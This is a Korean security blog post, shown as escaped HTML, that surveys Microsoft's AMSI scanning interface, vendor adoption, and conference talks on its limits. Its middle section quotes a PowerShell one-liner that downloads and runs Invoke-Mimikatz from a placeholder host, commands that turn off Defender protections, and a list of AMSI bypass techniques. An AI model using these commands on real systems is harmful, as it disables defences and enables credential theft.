      <description>&lt;p&gt;Microsoft 공식 홈페이지[1]에 따르면 AMSI(&lt;span style=&quot;color: #333333;&quot;&gt;AntiMalware Scan Interface)&lt;/span&gt;는 &lt;span&gt;응용 프로그램 및 서비스를 컴퓨터에있는 모든 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Anti-Virus&amp;nbsp;제품&lt;/span&gt;과 통합 할 수있는 다목적 인터페이스 표준이다.&lt;br /&gt;&lt;br /&gt;AMSI 기능은 Windows 10의 아래 구성 요소에 통합되어 있다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)&lt;/li&gt;
&lt;li&gt;PowerShell (scripts, interactive use, and dynamic code evaluation)&lt;/li&gt;
&lt;li&gt;Windows Script Host (wscript.exe and cscript.exe)&lt;/li&gt;
&lt;li&gt;JavaScript and VBScript&lt;/li&gt;
&lt;li&gt;Office VBA macros&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AMSI는 앱 내부에서 멀웨어 방지 제품을 이용하려는 &lt;b&gt;응용 프로그램 개발자&lt;/b&gt;, 제품이 응용 프로그램에 최고의 기능을 제공하기를 원하는 멀에어 방지 제품의 &lt;span&gt;&lt;b&gt;Third-party 제작자&lt;/b&gt;가 이를 주로 사용할 수 있게 설계되었다.&lt;br /&gt;AMSI는 특히 &quot;Fileless Malware&quot;를 대응하도록 설계되었다. 활용할 수 있는 응용 프로그램 유형에는 스크립트 엔진, 실행 전 메모리 버퍼를 스캔해야 하는 응용 프로그램 및 PE가 아닌 실행 코드가 포함된 파일(예: MS word, excel 매크로 또는 pdf 문서)을 처리하는 응용 프로그램들이 있다. &lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[응용 프로그램 개발자 활용 방식]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;앱에서 AMSI와 인터페이스 할 수 있는 두 가지 방법은 아래와 같다.&lt;br /&gt;1. AMSI Win32 API를 사용하기[2]&lt;br /&gt;- 아래는 스캔을 요청하기 위해 앱에서 호출할 수 있는 함수이다. 세션 열고 닫기, 차단 여부, 멀웨어 검사 등 다양한 기능을 제공한다. 주요 기능은 AmsiScanBuffer, AmsiScanString이다. 조사를 끝내고 아래 함수를 통해 간단한 프로그램을 만들어 볼 예정이다. 그렇기 때문에 함수에 대한 세부 내용은 살펴보지 않을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bitKwj/btqDtA40m7n/EkQhtAFJL6TS4J3tMLCYmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bitKwj/btqDtA40m7n/EkQhtAFJL6TS4J3tMLCYmk/img.png&quot; data-alt=&quot;AMSI functions&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bitKwj/btqDtA40m7n/EkQhtAFJL6TS4J3tMLCYmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbitKwj%2FbtqDtA40m7n%2FEkQhtAFJL6TS4J3tMLCYmk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AMSI functions&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2. AMSI COM 인터페이스 사용하기[3]&lt;br /&gt;C++ 기반으로 amsi.h 파일을 통해 AMSI의 기능을 사용할 수도 있다. MS가 깃허브에 공개한 IAmsiStream Interface sample[4]에서도 활용 예제를 참고할 수 있다. 요구 사항으로는 최소 지원 클라이언트가 Windows 10 [only desktop app], 지원되는 최소 서버는 Windows Server 2016, 2019 [only desktop app]으로 제한한다.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0iKNG/btqDurGRmee/pLre3xfQiF4Z7E3Ht35NhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0iKNG/btqDurGRmee/pLre3xfQiF4Z7E3Ht35NhK/img.png&quot; data-alt=&quot;IAmsiStream interface&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0iKNG/btqDurGRmee/pLre3xfQiF4Z7E3Ht35NhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0iKNG%2FbtqDurGRmee%2FpLre3xfQiF4Z7E3Ht35NhK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IAmsiStream interface&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[&lt;b&gt;Third-party 제작자&lt;/b&gt; 활용 방식]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;개인적으로 앱을 만드는 개발자와 달리 Third-party 제작자는 국내외 멀웨어방지 제품 또는 다른 프로그램에 AMSI를 적용할 때 해당 방식을 사용한다. (예: Windows Defender, 7Zip, Process Hacker(?), etc...)&lt;br /&gt;anti-malware 제품을 만드는 사람들은 AMSI provider로 기능하기 위해 COM server (DLL)를 작성하고 등록하도록 선택할 수 있으며, AMSI provider는 IAntimalwareProvider를 구현해야 하며, 반드시 과정 중에 실행되어야 한다. (DLL은 LoadLibraryW 호출 또는 전체 경로와 함께 로드하는 것이 좋다) 추가로 COM 클래스를 등록을 해주어야 하는데, 그 방법은 [5]를 참고하면 되며, IAntimalwareProvider interface는 아래 Method들[6]을 사용할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1w4VQ/btqDuqgRLdc/me1AEbtOIbAYjAlWoXto41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1w4VQ/btqDuqgRLdc/me1AEbtOIbAYjAlWoXto41/img.png&quot; data-alt=&quot;IAntimalwareProvider interface&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1w4VQ/btqDuqgRLdc/me1AEbtOIbAYjAlWoXto41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1w4VQ%2FbtqDuqgRLdc%2Fme1AEbtOIbAYjAlWoXto41%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IAntimalwareProvider interface&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;지금까지 앱 개발자 또는 Third-party 업체가 AMSI를 사용할 수 있는 사용법에 대해 조사해봤다. 다음으로는 AMSI가 현재(2020년 4월) 기준으로 어떻게 응용되고 있는지, 국내외 컨퍼런스에서 발표된 자료를 기반으로 작성하도록 하겠다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Black Hat USA 2016에서 발표된 &quot;AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It&quot; 내용[7][8], &lt;span style=&quot;color: #333333;&quot;&gt;Wild West Hackin' Fest 2018에서 발표된 &quot;Antimalware Scan Interface (AMSI)&quot; 내용[9]에서는 AMSI의 소개, 실제 Powershell로 작성된 악성 스크립트(Malicious Powershell via Unicorn, Mimikatz)를 대상으로 AMSI 기능 테스트, AMSI의 우회 방법에 대해 소개했다.&amp;nbsp;&lt;br /&gt;해당 자료에 따르면 &lt;span style=&quot;color: #333333;&quot;&gt;스크립트 기반 공격은 Powershell, VBScript, JScript가 있으며, 주로 낮은 탐지율 때문에 공격자들이 자주 사용. 또한, &lt;span style=&quot;color: #333333;&quot;&gt;AMSI의 특징은 Memory 스캐닝, URL 및 IP 분석, File 검사, VBA와 Scripting Runtime 분석을 수행하는 것이라고 전했으며,&lt;/span&gt; MS 공식 홈페이지에서 확인할 수 있는 아래 첨부된 AMSI Architecture에 대한 설명을 진행했다. AMSI를 효과적으로 사용하는 방법에 대해서는 Scripting host level에서 스크립트를 catch하려고 시도한다고 하면서 System.Automation.dll (powershell.exe가 없는 Powershell script)을 사용하면 도움이 되지 않으며, input method(disk, memory, interactive)는 중요하지 않다고 전했다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;504&quot; height=&quot;293&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4nERc/btqDsO3xTCK/LeIeEqFWMiIW5lnjS2B8H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4nERc/btqDsO3xTCK/LeIeEqFWMiIW5lnjS2B8H0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4nERc/btqDsO3xTCK/LeIeEqFWMiIW5lnjS2B8H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4nERc%2FbtqDsO3xTCK%2FLeIeEqFWMiIW5lnjS2B8H0%2Fimg.png&quot; width=&quot;504&quot; height=&quot;293&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kU3Fp/btqDwELJQlz/rzl9S3WKgVrFsVzNkkjvYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kU3Fp/btqDwELJQlz/rzl9S3WKgVrFsVzNkkjvYk/img.png&quot; data-alt=&quot;AMSI Architecture&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kU3Fp/btqDwELJQlz/rzl9S3WKgVrFsVzNkkjvYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkU3Fp%2FbtqDwELJQlz%2Frzl9S3WKgVrFsVzNkkjvYk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AMSI Architecture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;또한, 발표에서는 AMSI Detection에 대해 실제 악성 스크립트(Powershell)를 실행했을 때의 현상을 DEMO 영상을 통해 공개했으며, 시나리오는 아래와 같다. (Test OS : &lt;span style=&quot;color: #333333;&quot;&gt;64bit&lt;span&gt; &lt;/span&gt;&lt;/span&gt;Windows 10 build 10586)&lt;br /&gt;1. Powershell에서 &quot;Set-MpPreference -DisableIOAVProtection $true&quot;를 통해 AV를 비활성화한다.&lt;br /&gt;2. Client에서 &lt;span style=&quot;color: #333333;&quot;&gt;로컬 웹 서버(HFS, HTTP file Server)에 미리 업로드한 데이터를 다운로드 받기 위해&lt;/span&gt;&amp;nbsp;&quot;iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke.Mimikatz.ps1')&quot; 명령을 통해 해당 파워쉘 내부 데이터를 가져온다.&lt;br /&gt;3. Get-MpThreatDetection | sort InitialDetectionTime -Descending | select -First 1 명령을 통해 WindowsDefender가 탐지하지 못한 것을 보여주었다.&lt;br /&gt;4. 다시 1번에서 $false를 적용해 AV를 활성화한다.&lt;br /&gt;5. 2번 내용을 다시 수행하지만, 아래와 같이 AV가 차단했다는 경고창이 뜨면서 실행되지 않는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRAYDz/btqDupWGgTU/Mnhe0Dhuuank8MPTD77Qjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRAYDz/btqDupWGgTU/Mnhe0Dhuuank8MPTD77Qjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRAYDz/btqDupWGgTU/Mnhe0Dhuuank8MPTD77Qjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRAYDz%2FbtqDupWGgTU%2FMnhe0Dhuuank8MPTD77Qjk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;6. 3번을 다시 수행하면 탐지가 되었다는 이벤트로그를 확인할 수 있다.&lt;br /&gt;&lt;br /&gt;Powershell 스크립트가 비정상적인 위치(WMI namespaces, Registry keys, Event logs)에서 로드된다면 기존 방식(disk &lt;span style=&quot;color: #333333;&quot;&gt;based&lt;/span&gt;) 탐지는 해당 스크립트를 탐지할 수 없다고 전했으며, .Net 클래스, 별도의 실행 공간, 다른 프로세스의 메모리 공간, 정상 응용 프로그램(InstallUtil, regsrv32, rundll32) 등 다양한 통로에서 &lt;span style=&quot;color: #333333;&quot;&gt;비정상적인 실행이 이루어질 경우에 대한 다양한 측면을 고려해봐야 한다고 전했다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;발표자들은 AMSI를 회피할 수 있는 3가지 방법인 Poershell Version 2를 사용(기본 Windows 10에 없는 .Net 3.0 필요), Signature bypass(효과가 제한), AMSI 비활성화를 제안했다. AMSI를 회피하기 위해 Signature bypass 방법은 아래와 같이 난독화를 통해 수행한 결과, AMSI에 탐지되지 않았다고 한다. (&lt;i&gt;&lt;b&gt;결국에는 Signature Detection이라고 생각한다고 의견을 전달함&lt;/b&gt;&lt;/i&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9KnUU/btqDw3YXaNO/7ZI5DMiXAcNjSqADtzfZs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9KnUU/btqDw3YXaNO/7ZI5DMiXAcNjSqADtzfZs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9KnUU/btqDw3YXaNO/7ZI5DMiXAcNjSqADtzfZs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9KnUU%2FbtqDw3YXaNO%2F7ZI5DMiXAcNjSqADtzfZs1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;AMSI를 우회하는 것은 사실 어렵지 않다면서 아래와 같은 방법이 제일 간편하다고 전했다.&lt;br /&gt;1. Remove help section&lt;br /&gt;2. Obfuscate function and variable names&lt;br /&gt;3. Encode parts of script&lt;br /&gt;4. ISESteroids 모듈의 난독화 기능&lt;br /&gt;5. Windows Defender와 연동해서 사용할 수 있는 명령어 (악성코드에서 해당 기능을 끔으로 우회가 가능)&lt;br /&gt;&amp;rarr;&lt;b&gt; Set-MpPreference -DisableRealtimeMonitoring $True (Event ID 5001 통해 On/Off 확인 가능)&lt;br /&gt;&lt;/b&gt;6. AVProtection 끄는 명령어 (Windows Defender)&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;b&gt;&lt;span&gt; Set-MpPreference -DisableIOAVProtection $True &lt;b&gt;(Event ID 5004 통해 On/Off 확인 가능)&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;7. 아래 명령을 통해 현재 프로세스에서 AMSI를 언로드 할 수 있음 (높은 특권 필요 X)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6yCwH/btqDwethNoX/HAxK5GzYGTqdFoU2z8UbEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6yCwH/btqDwethNoX/HAxK5GzYGTqdFoU2z8UbEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6yCwH/btqDwethNoX/HAxK5GzYGTqdFoU2z8UbEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6yCwH%2FbtqDwethNoX%2FHAxK5GzYGTqdFoU2z8UbEk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;8. amsi.dll을 Drop하는 방법[13]&lt;br /&gt;&lt;br /&gt;Black Hat ASIA 2018에서 발표된 &quot;The Rise and Fall of AMSI&quot; 내용[10] 또한 공개되었다. &lt;i&gt;&lt;b&gt;해당 내용은 추후에 추가하도록 하겠다.(이것 또한 AMSI을 우회하는 방법에 대해 소개하고 있다..)&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다음으로는 &lt;span style=&quot;color: #333333;&quot;&gt;AMSI를 활용하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Antivirus 및 다른 업체에 대해 조사해봤다.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Twitter @Lee_Holmes에 따르면 20년 3월 말 기준으로 AMSI를 지원하는 Antivirus Vendor가 아래와 같았다. Windows Defender, AVG, BitDefender, ESET 등 15개 보안업체가 이를 점차 활용하고 있으며, &lt;span style=&quot;color: #333333;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ileless &lt;/span&gt;공격에 대응하기 위해 앞으로도 계속적으로 추가될 것으로 보인다. (&lt;b&gt;2016년 7월 21일 기준 2개 벤더(Windows Defender, AVG)만 사용했지만 현재 15개로 점진적으로 해당 기술을 사용하는 업체가 증가하고 있는 추세&lt;/b&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lHDC4/btqDtAYhvEf/KyoCsZ4mUDqHnHiQKolY0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lHDC4/btqDtAYhvEf/KyoCsZ4mUDqHnHiQKolY0k/img.png&quot; data-alt=&quot;AMSI를 탑재하고 있는 보안 벤더&amp;amp;amp;nbsp;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lHDC4/btqDtAYhvEf/KyoCsZ4mUDqHnHiQKolY0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlHDC4%2FbtqDtAYhvEf%2FKyoCsZ4mUDqHnHiQKolY0k%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AMSI를 탑재하고 있는 보안 벤더&amp;nbsp;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이와 반대로, 국내 보안업체같은 경우는 AMSI를 지원하지 않고 있다. 해당 기술을 적용하지 않아서 좋지 않은 벤더사라고 말할 수는 없으며, 해당 기술은 점점 발전하고 있어 미리 적용한다면 스크립트 기반 공격에 대해 선제적으로 방어체계를 구축할 수 있을 것이라고 생각한다.&lt;br /&gt;&lt;br /&gt;[11] 국내 보안업체와 별개로 국내 &lt;span&gt;반디소프트에서 개발한 압축 프로그램인 '반디집'에서 AMSI를 적용하는 것을 확인했다. 반디집에 따르면 Windows 10의 AMSI 기능을 사용해 압축 파일의 디스크에 내용을 풀지 않고 메모리에 풀어서 악성코드를 검사하는 기능을 제공한다. 이 기능은 모든 압축 파일에 대한 악성코드 검출을 보장하지 않는다고 한다(??). 단, 시스템에 설치된 AV 프로그램이 AMSI를 지원하지 않는다면 AMSI가 비활성화되거나 정상적으로 작동하지 않으며, 반디집의 악성코드 검사 기능도 작동하지 않는다고 한다.. 또한, &lt;b&gt;반디집 공식 홈페이지에는 AMSI를 지원하는 AV 프로그램이 2020년 2월 기준 6개로 조사됐지만, 위에 조사된 트위터 사진을 보면 10개 이상의 업체가 지원하는 것을 확인했을 때, 정확한 조사가 되지 않은 것으로 확인&lt;/b&gt;됐다. &lt;br /&gt;반디집은 또한 아래와 같은 이유로 AV 프로그램 단독으로 검사를 수행하면 악성코드 검출에 실패할 수 있다고 전했다. 간단한 실험 또한 명시되어 있었다. 요약하면, &quot;AV 프로그램이 악성코드로 진단하지 못하는 eicar 샘플을 반디집에서는 검사할 수 있다&quot;이다.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;압축 파일에 암호가 걸린 경우&lt;/li&gt;
&lt;li&gt;파일이 널리 쓰이지 않는 압축 포맷으로 압축된 경우&lt;/li&gt;
&lt;li&gt;파일이 널리 쓰이지 않는 압축 알고리즘으로 압축된 경우&lt;/li&gt;
&lt;li&gt;해당 AV 프로그램이 압축을 풀지 않으면 압축 파일을 검사하지 않는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;필자가 이해한 바로는 AMSI 기능을 제공하는 AV에 의존을 해야하며, 압축파일을 디스크에 풀지 않고 메모리에서 검사를 수행하는 메커니즘인 것 같다. 설계서나 코드를 봐야 어떤 방식으로 이루어졌는지 확인할 수 있어 자세한 사항을 확인하기는 어려웠다. (내용이 틀리다면 댓글 부탁드립니다)&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ch6Iu3/btqDurtembn/qv5hVoVkmzKTCu6v5fwiK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ch6Iu3/btqDurtembn/qv5hVoVkmzKTCu6v5fwiK0/img.png&quot; data-alt=&quot;AMSI를 활용하는 반디집(출처 : 반디집 공식홈페이지)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ch6Iu3/btqDurtembn/qv5hVoVkmzKTCu6v5fwiK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fch6Iu3%2FbtqDurtembn%2Fqv5hVoVkmzKTCu6v5fwiK0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AMSI를 활용하는 반디집(출처 : 반디집 공식홈페이지)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;또한, 샌드박스 업계에서는 조샌드박스가 유일하게 AMSI와 통합한 것을 확인할 수 있었다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B0v3c/btqDsNQ4xou/sE6NpOGT9YhQSOVe3pj51k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B0v3c/btqDsNQ4xou/sE6NpOGT9YhQSOVe3pj51k/img.png&quot; data-alt=&quot;AMSI를 활용하는 joesecurity(출처 : jooesecurity 공식홈페이지)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B0v3c/btqDsNQ4xou/sE6NpOGT9YhQSOVe3pj51k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB0v3c%2FbtqDsNQ4xou%2FsE6NpOGT9YhQSOVe3pj51k%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AMSI를 활용하는 joesecurity(출처 : jooesecurity 공식홈페이지)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;국외 보안업체 McAfee가 19년 8월경 AMSI를 자사 보안제품에 적용해 Powershell과 같은 실제 악성 스크립트를 테스트한 결과에 대한 게시물을 업로드했다.[12]&lt;br /&gt;MacAfee에서 공개한 &lt;span style=&quot;color: #333333;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ileless Malware&lt;/span&gt;에 대한 공격에 대한 전략은 아래와 같았으며, Word에서 수행하는 Powershell을 실행하고, AMSI Buffer에 저장된 파워쉘 코드를 MacAfee 스캐너가 탐지하여 Feature를 추출하고 ML을 이용해 분류하여 최종적으로 Zero-Day- Powershell 위협을 탐지할 수 있었다고 전했다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bW1e0Z/btqDwDlMUEp/2BY66UlmqAI8LXsKKsoHWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bW1e0Z/btqDwDlMUEp/2BY66UlmqAI8LXsKKsoHWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bW1e0Z/btqDwDlMUEp/2BY66UlmqAI8LXsKKsoHWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbW1e0Z%2FbtqDwDlMUEp%2F2BY66UlmqAI8LXsKKsoHWK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 